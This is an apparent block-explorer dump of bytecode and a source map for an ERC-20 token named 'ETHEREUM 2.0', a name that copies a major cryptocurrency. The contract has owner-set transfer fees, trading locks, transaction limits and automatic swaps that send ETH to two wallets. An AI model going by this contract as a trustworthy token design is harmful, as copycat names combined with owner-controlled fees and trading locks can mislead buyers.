460ff1916600117905560408051608081018252600a5461ffff80821683526201000082048116602084015264010000000082048116938301939093526601000000000000900490911660608201819052610daf5750611206565b306000908152600360209081526040808320600b546001600160a01b0316845290915290205460001914610e0857306000908152600360209081526040808320600b546001600160a01b03168452909152902060001990555b60006002826060015161ffff16836000015161ffff1685610e299190611b25565b610e3391906119ee565b610e3d91906119ee565b90506000610e4b8285611b67565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610e9357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ee757600080fd5b505afa158015610efb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1f9190611458565b81600181518110610f4057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600b5460405163791ac94760e01b815291169063791ac94790610f86908590600090869030904290600401611924565b600060405180830381600087803b158015610fa057600080fd5b505af1925050508015610fb1575060015b610fbe5750505050611206565b47600083610fcc8684611b25565b610fd691906119ee565b905084156110b357600b5460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061101d9030908a90600090819061dead904290600401611602565b6060604051808303818588803b15801561103657600080fd5b505af193505050508015611067575060408051601f3d908101601f19168201909252611064918101906115a4565b60015b61107657505050505050611206565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450681866040516110aa929190611994565b60405180910390a15b6110bd8183611b67565b91508560000151866060018181516110d59190611b44565b61ffff90811690915260608801516040890151600093508392918216916110fd911686611b25565b61110791906119ee565b6020890151909150849061ffff161561118457600d546040516001600160a01b039091169061d6d890839061113b906115d1565b600060405180830381858888f193505050503d8060008114611179576040519150601f19603f3d011682016040523d82523d6000602084013e61117e565b606091505b50909350505b604089015161ffff16156111fc57600e546040516001600160a01b039091169061d6d89084906111b3906115d1565b600060405180830381858888f193505050503d80600081146111f1576040519150601f19603f3d011682016040523d82523d6000602084013e6111f6565b606091505b50909350505b5050505050505050505b50600f805460ff19169055565b6001600160a01b03851660009081526006602052604081205460019060ff168061125557506001600160a01b03861660009081526006602052604090205460ff165b1561125e575060005b6001600160a01b03871660009081526020819052604081208054879290611286908490611b67565b90915550600090508161129957856112a5565b6112a58886868961133b565b905080600080896001600160a01b03166001600160a01b0316815260200190815260200160002060008282546112db91906119d6565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611325919061191b565b60405180910390a3506001979650505050505050565b6000808415611351575060095461ffff1661137b565b831561136a575060095462010000900461ffff1661137b565b50600954640100000000900461ffff165b806113895782915050611422565b600060646113978386611b25565b6113a191906119ee565b905080156114135730600090815260208190526040812080548392906113c89084906119d6565b909155505060405130906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140a90859061191b565b60405180910390a35b61141d8185611b67565b925050505b949350505050565b803561ffff8116811461078c57600080fd5b60006020828403121561144d578081fd5b813561068581611b94565b600060208284031215611469578081fd5b815161068581611b94565b60008060408385031215611486578081fd5b823561149181611b94565b915060208301356114a181611b94565b809150509250929050565b6000806000606084860312156114c0578081fd5b83356114cb81611b94565b925060208401356114db81611b94565b929592945050506040919091013590565b600080604083850312156114fe578182fd5b823561150981611b94565b9150602083013580151581146114a1578182fd5b6000806040838503121561152f578182fd5b823561153a81611b94565b946020939093013593505050565b600060208284031215611559578081fd5b6106858261142a565b600080600060608486031215611576578283fd5b61157f8461142a565b925061158d6020850161142a565b915061159b6040850161142a565b90509250925092565b6000806000606084860312156115b8578283fd5b8351925060208401519150604084015190509250925092565b90565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561167457858101830151858201604001528201611658565b818111156116855783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526018908201527f54726164696e67206e6f742079657420656e61626c6564210000000000000000604082015260600190565b60208082526015908201527413585e08151608131a5b5a5d08115e18d959591959605a1b604082015260600190565b60208082526011908201527021b0b63632b9101e979e9037bbb732b91760791b604082015260600190565b6020808252601b908201527f5061697220616c726561647920616464656420746f206c6973742e0000000000604082015260600190565b60208082526013908201527245524332303a205a65726f204164647265737360681b604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602d908201527f546f6b656e732063616e6e6f74206265206d6f76656420756e74696c2074726160408201526c3234b7339034b9903634bb329760991b606082015260800190565b6020808252600f908201526e19902230bc9031b7b7b63237bbb71760891b604082015260600190565b61ffff93841681529183166020830152909116604082015260600190565b61ffff948516815292841660208401529083166040830152909116606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b03969096166060850152505050608001529392505050565b918252602082015260400190565b60ff91909116815260200190565b600061ffff8083168185168083038211156119cd576119cd611b7e565b01949350505050565b600082198211156119e9576119e9611b7e565b500190565b600082611a0957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a205750611a4b565b818704821115611a3257611a32611b7e565b80861615611a3f57918102915b9490941c938002611a11565b94509492505050565b600061068560001960ff851684600082611a7057506001610685565b81611a7d57506000610685565b8160018114611a935760028114611a9d57611aca565b6001915050610685565b60ff841115611aae57611aae611b7e565b6001841b915084821115611ac457611ac4611b7e565b50610685565b5060208310610133831016604e8410600b8410161715611afd575081810a83811115611af857611af8611b7e565b610685565b611b0a8484846001611a0e565b808604821115611b1c57611b1c611b7e565b02949350505050565b6000816000190483118215151615611b3f57611b3f611b7e565b500290565b600061ffff83811690831681811015611b5f57611b5f611b7e565b039392505050565b600082821015611b7957611b79611b7e565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611ba957600080fd5b5056fea2646970667358221220ae5d353cba5ba418c4a861e4e27ad7dbc67947bd6f7c7e19657c10d6aee0720f64736f6c63430008000033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c806350a8e0161161010257806395d89b4111610095578063dd62ed3e11610064578063dd62ed3e14610502578063df5eb1b514610522578063f94aa1b414610542578063fdb78c0e14610565576101ee565b806395d89b4114610493578063a9059cbb146104a8578063b7df8b36146104c8578063cf847706146104dd576101ee565b80637d1db4a5116100d15780637d1db4a51461042957806380c581d11461043e578063893d20e81461045e5780638b42507f14610473576101ee565b806350a8e016146103ca5780635a6f0918146103df57806370a08231146103f4578063715018a614610414576101ee565b8063285777511161017a578063452ed4f111610149578063452ed4f11461035e5780634a96202f146103735780634ada218b146103955780634fbee193146103aa576101ee565b806328577751146102fd5780632b112e49146103125780632e8fa82114610327578063313ce5671461033c576101ee565b80630758d924116101b65780630758d92414610286578063095ea7b31461029b57806318160ddd146102c857806323b872dd146102dd576101ee565b806303fd2a45146101f35780630445b6671461021e578063069d955f1461024057806306fdde0314610264576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861057a565b60405161021591906115d4565b60405180910390f35b34801561022a57600080fd5b50610233610580565b604051610215919061191b565b34801561024c57600080fd5b50610255610586565b604051610215939291906118d7565b34801561027057600080fd5b506102796105a6565b6040516102159190611648565b34801561029257600080fd5b506102086105cc565b3480156102a757600080fd5b506102bb6102b636600461151d565b6105db565b604051610215919061163d565b3480156102d457600080fd5b506102336105f1565b3480156102e957600080fd5b506102bb6102f83660046114ac565b610612565b34801561030957600080fd5b5061023361068c565b34801561031e57600080fd5b50610233610692565b34801561033357600080fd5b506102336106d7565b34801561034857600080fd5b506103516106dd565b60405161021591906119a2565b34801561036a57600080fd5b506102086106e2565b34801561037f57600080fd5b5061039361038e366004611562565b6106f1565b005b3480156103a157600080fd5b506102bb610766565b3480156103b657600080fd5b506102bb6103c536600461143c565b61076f565b3480156103d657600080fd5b506102bb610791565b3480156103eb57600080fd5b5061023361079f565b34801561040057600080fd5b5061023361040f36600461143c565b6107a5565b34801561042057600080fd5b506103936107c0565b34801561043557600080fd5b50610233610838565b34801561044a57600080fd5b506103936104593660046114ec565b61083e565b34801561046a57600080fd5b50610208610931565b34801561047f57600080fd5b506102bb61048e36600461143c565b610940565b34801561049f57600080fd5b50610279610955565b3480156104b457600080fd5b506102bb6104c336600461151d565b610976565b3480156104d457600080fd5b506102bb61098d565b3480156104e957600080fd5b506104f2610996565b60405161021594939291906118f5565b34801561050e57600080fd5b5061023361051d366004611474565b6109c2565b34801561052e57600080fd5b5061039361053d366004611548565b6109ed565b34801561054e57600080fd5b50610557610a1a565b6040516102159291906115e8565b34801561057157600080fd5b506102bb610a30565b61dead81565b60105481565b60095461ffff808216916201000081048216916401000000009091041683565b60408051808201909152600c81526b0455448455245554d20322e360a41b602082015290565b600b546001600160a01b031681565b60006105e8338484610a3e565b50600192915050565b60006105ff6012600a611a54565b61060d90633b9aca00611b25565b905090565b6001600160a01b038316600090815260036020908152604080832033845290915281205460001914610677576001600160a01b038416600090815260036020908152604080832033845290915281208054849290610671908490611b67565b90915550505b610682848484610af2565b90505b9392505050565b60135481565b600061069e60006107a5565b6106a961dead6107a5565b6106b391906119d6565b6106bf6012600a611a54565b6106cd90633b9aca00611b25565b61060d9190611b67565b60115481565b601290565b600c546001600160a01b031681565b6016546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611744565b60405180910390fd5b6009805461ffff191661ffff9485161763ffff0000191662010000938516939093029290921765ffff0000000019166401000000009190931602919091179055565b60145460ff1681565b6001600160a01b03811660009081526006602052604090205460ff165b919050565b601454610100900460ff1681565b60155481565b6001600160a01b031660009081526020819052604090205490565b6016546001600160a01b031633146107ea5760405162461bcd60e51b815260040161071b90611744565b601680546001600160a01b031981169091556040516001600160a01b039091169060009082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b60075481565b6016546001600160a01b031633146108685760405162461bcd60e51b815260040161071b90611744565b80610892576001600160a01b0382166000908152600160205260409020805460ff1916905561092d565b600254156108c9576203f480600254426108ac9190611b67565b116108c95760405162461bcd60e51b815260040161071b906118ae565b6001600160a01b03821660009081526001602052604090205460ff16156109025760405162461bcd60e51b815260040161071b9061176f565b6001600160a01b0382166000908152600160208190526040909120805460ff19169091179055426002555b5050565b6016546001600160a01b031690565b60086020526000908152604090205460ff1681565b604080518082019091526007815266045544820322e360cc1b602082015290565b6000610983338484610af2565b5060019392505050565b60125460ff1681565b600a5461ffff808216916201000081048216916401000000008204811691660100000000000090041684565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6109f88160626119b0565b6009805461ffff92909216620100000263ffff00001990921691909117905550565b600d54600e546001600160a01b03918216911682565b600f54610100900460ff1681565b6001600160a01b038316610a645760405162461bcd60e51b815260040161071b906117a6565b6001600160a01b038216610a8a5760405162461bcd60e51b815260040161071b906117a6565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ae590859061191b565b60405180910390a3505050565b60006001600160a01b038416610b1a5760405162461bcd60e51b815260040161071b9061181c565b6001600160a01b038316610b405760405162461bcd60e51b815260040161071b9061169b565b60008211610b605760405162461bcd60e51b815260040161071b906117d3565b60075482111580610b8957506001600160a01b03841660009081526008602052604090205460ff165b80610bac57506001600160a01b03831660009081526008602052604090205460ff165b610bc85760405162461bcd60e51b815260040161071b90611715565b6001600160a01b0384166000908152600160205260408120548190819060ff1615610bf65760019250610c24565b6001600160a01b03861660009081526001602052604090205460ff1615610c205760019150610c24565b5060015b60145460ff16610caa5780610c4b5760405162461bcd60e51b815260040161071b906116de565b6001600160a01b03871660009081526005602052604090205460ff16158015610c8d57506001600160a01b03861660009081526005602052604090205460ff16155b15610caa5760405162461bcd60e51b815260040161071b90611861565b8115610d3957600f5460ff16610d3957600f54610100900460ff1615610d39576000610cd5306107a5565b90506010548110610d375760115460125460ff1615610d2157601354600c5460649190610d0a906001600160a01b03166107a5565b610d149190611b25565b610d1e91906119ee565b90505b808210610d2c578091505b610d3582610d51565b505b505b610d468787878686611213565b979650505050505050565b600f805460ff1916600117905560408051608081018252600a5461ffff80821683526201000082048116602084015264010000000082048116938301939093526601000000000000900490911660608201819052610daf5750611206565b306000908152600360209081526040808320600b546001600160a01b0316845290915290205460001914610e0857306000908152600360209081526040808320600b546001600160a01b03168452909152902060001990555b60006002826060015161ffff16836000015161ffff1685610e299190611b25565b610e3391906119ee565b610e3d91906119ee565b90506000610e4b8285611b67565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610e9357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ee757600080fd5b505afa158015610efb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1f9190611458565b81600181518110610f4057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600b5460405163791ac94760e01b815291169063791ac94790610f86908590600090869030904290600401611924565b600060405180830381600087803b158015610fa057600080fd5b505af1925050508015610fb1575060015b610fbe5750505050611206565b47600083610fcc8684611b25565b610fd691906119ee565b905084156110b357600b5460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061101d9030908a90600090819061dead904290600401611602565b6060604051808303818588803b15801561103657600080fd5b505af193505050508015611067575060408051601f3d908101601f19168201909252611064918101906115a4565b60015b61107657505050505050611206565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450681866040516110aa929190611994565b60405180910390a15b6110bd8183611b67565b91508560000151866060018181516110d59190611b44565b61ffff90811690915260608801516040890151600093508392918216916110fd911686611b25565b61110791906119ee565b6020890151909150849061ffff161561118457600d546040516001600160a01b039091169061d6d890839061113b906115d1565b600060405180830381858888f193505050503d8060008114611179576040519150601f19603f3d011682016040523d82523d6000602084013e61117e565b606091505b50909350505b604089015161ffff16156111fc57600e546040516001600160a01b039091169061d6d89084906111b3906115d1565b600060405180830381858888f193505050503d80600081146111f1576040519150601f19603f3d011682016040523d82523d6000602084013e6111f6565b606091505b50909350505b5050505050505050505b50600f805460ff19169055565b6001600160a01b03851660009081526006602052604081205460019060ff168061125557506001600160a01b03861660009081526006602052604090205460ff165b1561125e575060005b6001600160a01b03871660009081526020819052604081208054879290611286908490611b67565b90915550600090508161129957856112a5565b6112a58886868961133b565b905080600080896001600160a01b03166001600160a01b0316815260200190815260200160002060008282546112db91906119d6565b92505081905550866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611325919061191b565b60405180910390a3506001979650505050505050565b6000808415611351575060095461ffff1661137b565b831561136a575060095462010000900461ffff1661137b565b50600954640100000000900461ffff165b806113895782915050611422565b600060646113978386611b25565b6113a191906119ee565b905080156114135730600090815260208190526040812080548392906113c89084906119d6565b909155505060405130906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140a90859061191b565b60405180910390a35b61141d8185611b67565b925050505b949350505050565b803561ffff8116811461078c57600080fd5b60006020828403121561144d578081fd5b813561068581611b94565b600060208284031215611469578081fd5b815161068581611b94565b60008060408385031215611486578081fd5b823561149181611b94565b915060208301356114a181611b94565b809150509250929050565b6000806000606084860312156114c0578081fd5b83356114cb81611b94565b925060208401356114db81611b94565b929592945050506040919091013590565b600080604083850312156114fe578182fd5b823561150981611b94565b9150602083013580151581146114a1578182fd5b6000806040838503121561152f578182fd5b823561153a81611b94565b946020939093013593505050565b600060208284031215611559578081fd5b6106858261142a565b600080600060608486031215611576578283fd5b61157f8461142a565b925061158d6020850161142a565b915061159b6040850161142a565b90509250925092565b6000806000606084860312156115b8578283fd5b8351925060208401519150604084015190509250925092565b90565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561167457858101830151858201604001528201611658565b818111156116855783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526018908201527f54726164696e67206e6f742079657420656e61626c6564210000000000000000604082015260600190565b60208082526015908201527413585e08151608131a5b5a5d08115e18d959591959605a1b604082015260600190565b60208082526011908201527021b0b63632b9101e979e9037bbb732b91760791b604082015260600190565b6020808252601b908201527f5061697220616c726561647920616464656420746f206c6973742e0000000000604082015260600190565b60208082526013908201527245524332303a205a65726f204164647265737360681b604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602d908201527f546f6b656e732063616e6e6f74206265206d6f76656420756e74696c2074726160408201526c3234b7339034b9903634bb329760991b606082015260800190565b6020808252600f908201526e19902230bc9031b7b7b63237bbb71760891b604082015260600190565b61ffff93841681529183166020830152909116604082015260600190565b61ffff948516815292841660208401529083166040830152909116606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b03969096166060850152505050608001529392505050565b918252602082015260400190565b60ff91909116815260200190565b600061ffff8083168185168083038211156119cd576119cd611b7e565b01949350505050565b600082198211156119e9576119e9611b7e565b500190565b600082611a0957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a205750611a4b565b818704821115611a3257611a32611b7e565b80861615611a3f57918102915b9490941c938002611a11565b94509492505050565b600061068560001960ff851684600082611a7057506001610685565b81611a7d57506000610685565b8160018114611a935760028114611a9d57611aca565b6001915050610685565b60ff841115611aae57611aae611b7e565b6001841b915084821115611ac457611ac4611b7e565b50610685565b5060208310610133831016604e8410600b8410161715611afd575081810a83811115611af857611af8611b7e565b610685565b611b0a8484846001611a0e565b808604821115611b1c57611b1c611b7e565b02949350505050565b6000816000190483118215151615611b3f57611b3f611b7e565b500290565b600061ffff83811690831681811015611b5f57611b5f611b7e565b039392505050565b600082821015611b7957611b79611b7e565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611ba957600080fd5b5056fea2646970667358221220ae5d353cba5ba418c4a861e4e27ad7dbc67947bd6f7c7e19657c10d6aee0720f64736f6c63430008000033
Deployed Bytecode Sourcemap
3953:12262:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5386:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5851:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5023:103::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;8796:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5325:26::-;;;;;;;;;;;;;:::i;9404:161::-;;;;;;;;;;-1:-1:-1;9404:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;8531:83::-;;;;;;;;;;;;;:::i;9891:314::-;;;;;;;;;;-1:-1:-1;9891:314:0;;;;;:::i;:::-;;:::i;5966:33::-;;;;;;;;;;;;;:::i;10913:141::-;;;;;;;;;;;;;:::i;5886:25::-;;;;;;;;;;;;;:::i;8620:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5358:21::-;;;;;;;;;;;;;:::i;11062:214::-;;;;;;;;;;-1:-1:-1;11062:214:0;;;;;:::i;:::-;;:::i;:::-;;6008:33;;;;;;;;;;;;;:::i;10688:127::-;;;;;;;;;;-1:-1:-1;10688:127:0;;;;;:::i;:::-;;:::i;6048:36::-;;;;;;;;;;;;;:::i;6091:26::-;;;;;;;;;;;;;:::i;9106:117::-;;;;;;;;;;-1:-1:-1;9106:117:0;;;;;:::i;:::-;;:::i;7961:180::-;;;;;;;;;;;;;:::i;4669:44::-;;;;;;;;;;;;;:::i;10213:467::-;;;;;;;;;;-1:-1:-1;10213:467:0;;;;;:::i;:::-;;:::i;8882:79::-;;;;;;;;;;;;;:::i;4720:48::-;;;;;;;;;;-1:-1:-1;4720:48:0;;;;;:::i;:::-;;:::i;8706:84::-;;;;;;;;;;;;;:::i;9231:165::-;;;;;;;;;;-1:-1:-1;9231:165:0;;;;;:::i;:::-;;:::i;5918:41::-;;;;;;;;;;;;;:::i;5135:133::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;8967:::-;;;;;;;;;;-1:-1:-1;8967:133:0;;;;;:::i;:::-;;:::i;10823:82::-;;;;;;;;;;-1:-1:-1;10823:82:0;;;;;:::i;:::-;;:::i;5576:199::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;5806:38::-;;;;;;;;;;;;;:::i;5386:73::-;5417:42;5386:73;:::o;5851:28::-;;;;:::o;5023:103::-;;;;;;;;;;;;;;;;;;;;:::o;8796:80::-;8868:5;;;;;;;;;;;;-1:-1:-1;;;8868:5:0;;;;8796:80;:::o;5325:26::-;;;-1:-1:-1;;;;;5325:26:0;;:::o;9404:161::-;9481:4;9498:37;9507:10;9519:7;9528:6;9498:8;:37::i;:::-;-1:-1:-1;9553:4:0;9404:161;;;;:::o;8531:83::-;8586:7;4649:13;4588:2;4649;:13;:::i;:::-;4632:30;;4430:13;4632:30;:::i;:::-;8597:14;;8531:83;:::o;9891:314::-;-1:-1:-1;;;;;10012:19:0;;9991:4;10012:19;;;:11;:19;;;;;;;;10032:10;10012:31;;;;;;;;-1:-1:-1;;10012:52:0;10008:134;;-1:-1:-1;;;;;10081:19:0;;;;;;:11;:19;;;;;;;;10101:10;10081:31;;;;;;;:41;;10116:6;;10081:19;:41;;10116:6;;10081:41;:::i;:::-;;;;-1:-1:-1;;10008:134:0;10161:36;10171:6;10179:9;10190:6;10161:9;:36::i;:::-;10154:43;;9891:314;;;;;;:::o;5966:33::-;;;;:::o;10913:141::-;10966:7;11023:21;11041:1;11023:9;:21::i;:::-;11005:15;5417:42;11005:9;:15::i;:::-;:39;;;;:::i;:::-;4649:13;4588:2;4649;:13;:::i;:::-;4632:30;;4430:13;4632:30;:::i;:::-;10994:51;;;;:::i;5886:25::-;;;;:::o;8620:80::-;4588:2;8620:80;:::o;5358:21::-;;;-1:-1:-1;;;;;5358:21:0;;:::o;11062:214::-;7813:6;;-1:-1:-1;;;;;7813:6:0;7823:10;7813:20;7805:50;;;;-1:-1:-1;;;7805:50:0;;;;;;;:::i;:::-;;;;;;;;;11159:9:::1;:25:::0;;-1:-1:-1;;11159:25:0::1;;::::0;;::::1;;-1:-1:-1::0;;11195:27:0::1;::::0;;;::::1;::::0;;;::::1;::::0;;;::::1;-1:-1:-1::0;;11233:35:0::1;::::0;;;;::::1;;::::0;;;::::1;::::0;;11062:214::o;6008:33::-;;;;;;:::o;10688:127::-;-1:-1:-1;;;;;10779:28:0;;10755:4;10779:28;;;:19;:28;;;;;;;;10688:127;;;;:::o;6048:36::-;;;;;;;;;:::o;6091:26::-;;;;:::o;9106:117::-;-1:-1:-1;;;;;9199:16:0;9172:7;9199:16;;;;;;;;;;;;9106:117::o;7961:180::-;7813:6;;-1:-1:-1;;;;;7813:6:0;7823:10;7813:20;7805:50;;;;-1:-1:-1;;;7805:50:0;;;;;;;:::i;:::-;8039:6:::1;::::0;;-1:-1:-1;;;;;;8056:19:0;::::1;::::0;;;8091:42:::1;::::0;-1:-1:-1;;;;;8039:6:0;;::::1;::::0;8020:16:::1;::::0;8039:6;;8091:42:::1;::::0;8020:16;;8091:42:::1;7857:1;7961:180::o:0;4669:44::-;;;;:::o;10213:467::-;7813:6;;-1:-1:-1;;;;;7813:6:0;7823:10;7813:20;7805:50;;;;-1:-1:-1;;;7805:50:0;;;;;;;:::i;:::-;10295:7:::1;10290:383;;-1:-1:-1::0;;;;;10319:13:0;::::1;10335:5;10319:13:::0;;;:7:::1;:13;::::0;;;;:21;;-1:-1:-1;;10319:21:0::1;::::0;;10290:383:::1;;;10377:17;::::0;:22;10373:135:::1;;10466:6;10446:17;;10428:15;:35;;;;:::i;:::-;:44;10420:72;;;;-1:-1:-1::0;;;10420:72:0::1;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10531:13:0;::::1;;::::0;;;:7:::1;:13;::::0;;;;;::::1;;10530:14;10522:54;;;;-1:-1:-1::0;;;10522:54:0::1;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10591:13:0;::::1;;::::0;;;10607:4:::1;10591:13;::::0;;;;;;;:20;;-1:-1:-1;;10591:20:0::1;::::0;;::::1;::::0;;10646:15:::1;10626:17;:35:::0;10290:383:::1;10213:467:::0;;:::o;8882:79::-;8952:6;;-1:-1:-1;;;;;8952:6:0;8882:79;:::o;4720:48::-;;;;;;;;;;;;;;;:::o;8706:84::-;8780:7;;;;;;;;;;;;-1:-1:-1;;;8780:7:0;;;;8706:84;:::o;9231:165::-;9309:4;9326:40;9336:10;9348:9;9359:6;9326:9;:40::i;:::-;-1:-1:-1;9384:4:0;;9231:165;-1:-1:-1;;;9231:165:0:o;5918:41::-;;;;;;:::o;5135:133::-;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8967:::-;-1:-1:-1;;;;;9069:19:0;;;9051:7;9069:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8967:133::o;10823:82::-;10889:8;:3;10895:2;10889:8;:::i;:::-;10870:9;:27;;;;;;;;;-1:-1:-1;;10870:27:0;;;;;;;;;-1:-1:-1;10823:82:0:o;5576:199::-;;;;;-1:-1:-1;;;;;5576:199:0;;;;;;:::o;5806:38::-;;;;;;;;;:::o;9573:310::-;-1:-1:-1;;;;;9668:20:0;;9660:52;;;;-1:-1:-1;;;9660:52:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9731:21:0;;9723:53;;;;-1:-1:-1;;;9723:53:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9789:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;;:37;;;9842:33;;;;;9820:6;;9842:33;:::i;:::-;;;;;;;;9573:310;;;:::o;11284:1763::-;11363:4;-1:-1:-1;;;;;11388:18:0;;11380:68;;;;-1:-1:-1;;;11380:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11467:16:0;;11459:64;;;;-1:-1:-1;;;11459:64:0;;;;;;;:::i;:::-;11551:1;11542:6;:10;11534:64;;;;-1:-1:-1;;;11534:64:0;;;;;;;:::i;:::-;11628:12;;11618:6;:22;;11617:49;;;-1:-1:-1;;;;;;11645:21:0;;;;;;:15;:21;;;;;;;;11617:49;:72;;;-1:-1:-1;;;;;;11670:19:0;;;;;;:15;:19;;;;;;;;11617:72;11609:106;;;;-1:-1:-1;;;11609:106:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11814:13:0;;11726:8;11814:13;;;:7;:13;;;;;;11726:8;;;;11814:13;;11810:162;;;11850:4;11844:10;;11810:162;;;-1:-1:-1;;;;;11876:11:0;;;;;;:7;:11;;;;;;;;11872:100;;;11911:4;11904:11;;11872:100;;;-1:-1:-1;11956:4:0;11872:100;11990:14;;;;11986:329;;12030:5;12025:279;;12060:34;;-1:-1:-1;;;12060:34:0;;;;;;;:::i;12025:279::-;-1:-1:-1;;;;;12125:31:0;;;;;;:25;:31;;;;;;;;12124:32;:66;;;;-1:-1:-1;;;;;;12161:29:0;;;;;;:25;:29;;;;;;;;12160:30;12124:66;12120:184;;;12215:55;;-1:-1:-1;;;12215:55:0;;;;;;;:::i;12120:184::-;12331:4;12327:650;;;12357:6;;;;12352:614;;12388:19;;;;;;;12384:567;;;12450:28;12481:24;12499:4;12481:9;:24::i;:::-;12450:55;;12556:13;;12532:20;:37;12528:404;;12616:10;;12657:22;;;;12653:97;;;12714:13;;12704:6;;5313:3;;12714:13;12694:17;;-1:-1:-1;;;;;12704:6:0;12694:9;:17::i;:::-;:33;;;;:::i;:::-;12693:54;;;;:::i;:::-;12683:64;;12653:97;12804:7;12780:20;:31;12776:72;;12838:7;12815:30;;12776:72;12874:34;12887:20;12874:12;:34::i;:::-;12528:404;;12384:567;;12994:45;13011:4;13017:2;13021:6;13029:3;13034:4;12994:16;:45::i;:::-;12987:52;11284:1763;-1:-1:-1;;;;;;;11284:1763:0:o;13055:1990::-;6282:6;:13;;-1:-1:-1;;6282:13:0;6291:4;6282:13;;;13138:30:::1;::::0;;::::1;::::0;::::1;::::0;;13161:7:::1;13138:30:::0;::::1;::::0;;::::1;::::0;;;;::::1;::::0;::::1;;::::0;::::1;::::0;;;::::1;::::0;::::1;::::0;;;;;;;;;::::1;::::0;;::::1;::::0;;;;;;13179:60:::1;;13221:7;;;13179:60;13275:4;13255:26;::::0;;;:11:::1;:26;::::0;;;;;;;13290:9:::1;::::0;-1:-1:-1;;;;;13290:9:0::1;13255:46:::0;;;;;;;;-1:-1:-1;;13255:67:0::1;13251:166;;13359:4;13339:26;::::0;;;:11:::1;:26;::::0;;;;;;;13374:9:::1;::::0;-1:-